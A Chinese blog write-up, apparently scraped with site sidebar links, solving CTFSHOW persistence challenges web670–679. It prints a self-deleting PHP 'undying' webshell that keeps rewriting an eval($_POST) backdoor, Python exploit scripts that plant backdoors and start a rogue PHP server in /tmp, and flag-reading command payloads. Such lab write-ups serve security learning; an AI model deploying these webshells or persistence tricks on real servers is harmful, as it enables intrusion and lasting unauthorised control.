当前位置:网站首页>CTFSHOW权限维持篇
CTFSHOW权限维持篇
2022-06-30 22:36:00 【yu22x】
web670-web676
题目在进行check后,会删掉网站根目录下的所有文件。
方法一
预测是使用的如下命令
echo 'flag{xxxx}' > /flag_xx.txt
rm -rf *
rm -rf *其实有个小缺陷,无法删除点号开头的文件,所以可以利用给的木马生成一个.shell.php的木马,check后还会保留。
方法二
使用反弹shell
不过题目是不出网的,所以这种方法暂时无法考虑。
方法三
可以使用不死马将木马写入内存。
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = 'shell.php';
$code = '<?php @eval($_POST[1]);?>';
while (1) {
file_put_contents($file, $code);
usleep(5000);
}
?>
访问该不死马后,触发check,接着蚁剑连接shell.php即可拿到flag。
一键利用脚本
import requests
url="http://6143fdfc-94e3-4698-824f-f5da79a33081.challenge.ctf.show/"
data1={
'cmd':"file_put_contents('a.php',\"<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);\\$file = 'shell.php';\\$code = '<?php @eval(\\$_POST[1]);?>';while (1) {file_put_contents(\\$file, \\$code);usleep(5000);}?>\");"}
r=requests.post(url+'?action=cmd',data=data1)
try:
requests.get(url+'a.php',timeout=(1,1))
except:
requests.get(url+'?action=check')
r=requests.post(url+'shell.php',data={
'1':'system("cat /f*");'})
print(r.text)
web677、web678
和前面有点不同,没有写入权限(除了/tmp目录)
猜测check是先生成flag接着删掉了所有/var/www/html下的文件。
所以我们可以通过while循环持续的打开flag,当check时,页面上就会出现flag。
payloadcmd=system('while true;do cat /tmp/f*;done');
web679
check后会关闭nginx php-fpm等服务,不过我们可以利用php命令直接开启一个服务php -S 0.0.0.0:80,哪个目录下运行该命令,哪个目录就被当作根目录。
有点类似于python开启web服务python -m SimpleHTTPServer 80
大致流程如下:
1、/tmp目录可写,在该目录下生成木马文件cmd=system('cd /tmp;echo "<?php eval(\$_POST[1]);?>" > index.php');
2、开启web服务cmd=system('cd /tmp;php -S 0.0.0.0:80');
3、触发check
4、利用木马
但在实际使用中会发现,手动开启的web服务check后也会被停掉。
所以需要保证check后再开启web服务,也就是加个延时。
import requests
url="http://b370b8d4-cdca-40dd-a3eb-6d6d4485965a.challenge.ctf.show/"
data1={
'cmd':"system('cd /tmp;echo \"<?php eval(\$_POST[1]);?>\" > index.php');"}
r=requests.post(url+'?action=cmd',data=data1)
data2={
'cmd':"system('sleep 3;cd /tmp;php -S 0.0.0.0:80');"}
try:
requests.post(url+'?action=cmd',data=data2,timeout=(1,1))
except:
requests.get(url+'?action=check')
while True:
r=requests.post(url,data={
'1':'system("cat /f*");'})
if "ctfshow{" in r.text:
print(r.text)
break
边栏推荐
- Online customer service system code_ H5 customer service_ Docking with official account_ Support app_ Support for multiple languages
- 软件确认测试的内容和流程有哪些?确认测试报告需要多少钱?
- leetcode:104. 二叉树的最大深度
- 机器学习编译入门课程学习笔记第二讲 张量程序抽象
- 腾讯3年,功能测试进阶自动化测试,送给在手工测试中迷茫的你
- B_ QuRT_ User_ Guide(32)
- dba
- “飞桨+辨影相机”成为AI界的“预制菜”,工业AI质检落地更简单
- 在线客服聊天系统源码_美观强大golang内核开发_二进制运行傻瓜式安装_附搭建教程...
- Classic case of multithreading
猜你喜欢

Two way data binding in wechat applet

Web APIs comprehensive case -tab column switching - dark horse programmer

2022-06-30:以下golang代码输出什么?A:0;B:2;C:运行错误。 package main import “fmt“ func main() { ints := make

The Sandbox 正在 Polygon 网络上进行部署

How to change the win11 computer name? Win11 method of changing computer name

latex左侧大括号 latex中大括号多行公式

How does win11 optimize services? Win11 method of optimizing service

在线客服系统代码_h5客服_对接公众号_支持APP_支持多语言

Anfulai embedded weekly report no. 271: June 20, 2022 to June 26, 2022

Nansen double disk encryption giant self rescue: how to prevent the collapse of billions of dominoes
随机推荐
请指教同花顺软件究竟是什么?另外想问,现在在线开户安全么?
latex字母头顶两个点
Doker的容器数据卷
Store Nagios monitoring information into MySQL
During telecommuting, the project team punched in the wechat group | solicited papers from the community
KVM IO性能测试数据
Jmeter跨线程参数关联无需脚本
How cloud computing can protect online education in the post epidemic Era
去中心化交易所系统开发技术原理丨数字货币去中心化交易所系统开发(说明案例)
dba
软件测试报告包含哪些内容?如何获取高质量软件测试报告?
Failed to configure a DataSource: ‘url‘ attribute is not specified and no embedded datasource could
企业出海数字化转型解决方案介绍
手机上怎么开股票账户?另外,手机开户安全么?
部门新来了个阿里25K出来的,让我见识到了什么是天花板
[Android, kotlin, tflite] mobile device integration deep learning light model tflite (object detection)
What does the &?
pytorch 的Conv2d的详细解释
Redis的事务和锁机制
Spark - understand partitioner in one article